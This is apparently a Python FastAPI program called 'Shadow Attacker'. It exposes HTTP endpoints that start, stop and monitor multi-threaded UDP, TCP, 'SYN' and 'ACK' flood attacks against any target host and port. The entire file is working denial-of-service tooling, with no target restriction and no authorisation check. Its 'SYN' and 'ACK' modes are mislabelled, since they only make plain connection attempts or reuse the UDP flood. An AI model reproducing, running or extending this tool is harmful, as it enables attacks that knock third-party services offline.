|
|
import random |
|
|
import socket |
|
|
import threading |
|
|
import time |
|
|
from collections import deque |
|
|
from typing import Dict, Optional |
|
|
|
|
|
import uvicorn |
|
|
from fastapi import FastAPI, HTTPException |
|
|
from pydantic import BaseModel |
|
|
|
|
|
|
|
|
import logging |
|
|
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s") |
|
|
log = logging.getLogger(__name__) |
|
|
|
|
|
app = FastAPI(title="Shadow Attacker") |
|
|
|
|
|
stop_events: Dict[str, threading.Event] = {} |
|
|
counters: Dict[str, int] = {} |
|
|
counters_lock = threading.Lock() |
|
|
total_packets = 0 |
|
|
log_buffer: deque[str] = deque(maxlen=200) |
|
|
|
|
|
def _log(msg: str): |
|
|
log.info(msg) |
|
|
log_buffer.append(f"{time.strftime('%H:%M:%S')} {msg}") |
|
|
|
|
|
class StartRequest(BaseModel): |
|
|
target: str |
|
|
port: int = 80 |
|
|
threads: int = 100 |
|
|
attack_type: str = "udp" |
|
|
|
|
|
class StatusResponse(BaseModel): |
|
|
running: bool |
|
|
attack_id: Optional[str] |
|
|
total_packets: int |
|
|
pps: float |
|
|
counters: Dict[str, int] |
|
|
logs: list[str] |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def udp_flood_worker(attack_id: str, target: str, port: int, stop_event: threading.Event): |
|
|
global total_packets |
|
|
while not stop_event.is_set(): |
|
|
try: |
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) |
|
|
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) |
|
|
payload = random._urandom(1024) |
|
|
while not stop_event.is_set(): |
|
|
sock.sendto(payload, (target, port)) |
|
|
with counters_lock: |
|
|
counters[attack_id] = counters.get(attack_id, 0) + 1 |
|
|
total_packets += 1 |
|
|
except: |
|
|
pass |
|
|
finally: |
|
|
try: sock.close() |
|
|
except: pass |
|
|
|
|
|
def tcp_flood_worker(attack_id: str, target: str, port: int, stop_event: threading.Event): |
|
|
global total_packets |
|
|
while not stop_event.is_set(): |
|
|
try: |
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
|
|
sock.settimeout(1) |
|
|
sock.connect((target, port)) |
|
|
while not stop_event.is_set(): |
|
|
sock.send(random._urandom(1024)) |
|
|
with counters_lock: |
|
|
counters[attack_id] = counters.get(attack_id, 0) + 1 |
|
|
total_packets += 1 |
|
|
except: |
|
|
pass |
|
|
finally: |
|
|
try: sock.close() |
|
|
except: pass |
|
|
|
|
|
def syn_flood_worker(attack_id: str, target: str, port: int, stop_event: threading.Event): |
|
|
global total_packets |
|
|
while not stop_event.is_set(): |
|
|
try: |
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
|
|
sock.settimeout(0.1) |
|
|
sock.connect_ex((target, port)) |
|
|
with counters_lock: |
|
|
counters[attack_id] = counters.get(attack_id, 0) + 1 |
|
|
total_packets += 1 |
|
|
except: |
|
|
pass |
|
|
finally: |
|
|
try: sock.close() |
|
|
except: pass |
|
|
|
|
|
def ack_flood_worker(attack_id: str, target: str, port: int, stop_event: threading.Event): |
|
|
global total_packets |
|
|
udp_flood_worker(attack_id, target, port, stop_event) |
|
|
|
|
|
|
|
|
@app.post("/start") |
|
|
def start_attack(req: StartRequest): |
|
|
if any(not ev.is_set() for ev in stop_events.values()): |
|
|
raise HTTPException(400, "Attack running") |
|
|
|
|
|
attack_id = f"{req.target}_{int(time.time())}" |
|
|
stop_ev = threading.Event() |
|
|
stop_events[attack_id] = stop_ev |
|
|
counters[attack_id] = 0 |
|
|
|
|
|
|
|
|
workers = { |
|
|
"udp": udp_flood_worker, |
|
|
"tcp": tcp_flood_worker, |
|
|
"syn": syn_flood_worker, |
|
|
"ack": ack_flood_worker, |
|
|
} |
|
|
|
|
|
worker_func = workers.get(req.attack_type, udp_flood_worker) |
|
|
|
|
|
|
|
|
for i in range(req.threads): |
|
|
t = threading.Thread( |
|
|
target=worker_func, |
|
|
args=(attack_id, req.target, req.port, stop_ev), |
|
|
daemon=True |
|
|
) |
|
|
t.start() |
|
|
|
|
|
_log(f"π {req.attack_type.upper()} FLOOD β {req.target}:{req.port} ({req.threads} threads)") |
|
|
return {"message": "Attack started", "attack_id": attack_id} |
|
|
|
|
|
@app.post("/stop") |
|
|
def stop_attack(attack_id: Optional[str] = None): |
|
|
if attack_id and attack_id in stop_events: |
|
|
stop_events[attack_id].set() |
|
|
del stop_events[attack_id] |
|
|
with counters_lock: |
|
|
counters.pop(attack_id, None) |
|
|
_log(f"π STOPPED {attack_id}") |
|
|
else: |
|
|
for ev in list(stop_events): |
|
|
stop_events[ev].set() |
|
|
del stop_events[ev] |
|
|
with counters_lock: |
|
|
counters.clear() |
|
|
_log("π STOPPED ALL") |
|
|
return {"message": "Stopped"} |
|
|
|
|
|
@app.get("/status", response_model=StatusResponse) |
|
|
def get_status(attack_id: Optional[str] = None): |
|
|
with counters_lock: |
|
|
cnt = {k: v for k, v in counters.items()} |
|
|
tot = total_packets |
|
|
|
|
|
|
|
|
pps = 0 |
|
|
if hasattr(get_status, 'last_time'): |
|
|
delta_time = time.time() - get_status.last_time |
|
|
if delta_time > 0: |
|
|
pps = (tot - getattr(get_status, 'last_tot', 0)) / delta_time |
|
|
get_status.last_tot = tot |
|
|
get_status.last_time = time.time() |
|
|
|
|
|
running = bool(stop_events) |
|
|
aid = attack_id if attack_id in stop_events else None |
|
|
|
|
|
return StatusResponse( |
|
|
running=running, |
|
|
attack_id=aid, |
|
|
total_packets=tot, |
|
|
pps=round(pps, 1), |
|
|
counters=cnt if not attack_id else {attack_id: cnt.get(attack_id, 0)}, |
|
|
logs=list(log_buffer) |
|
|
) |
|
|
|
|
|
if __name__ == "__main__": |
|
|
uvicorn.run(app, host="0.0.0.0", port=8000) |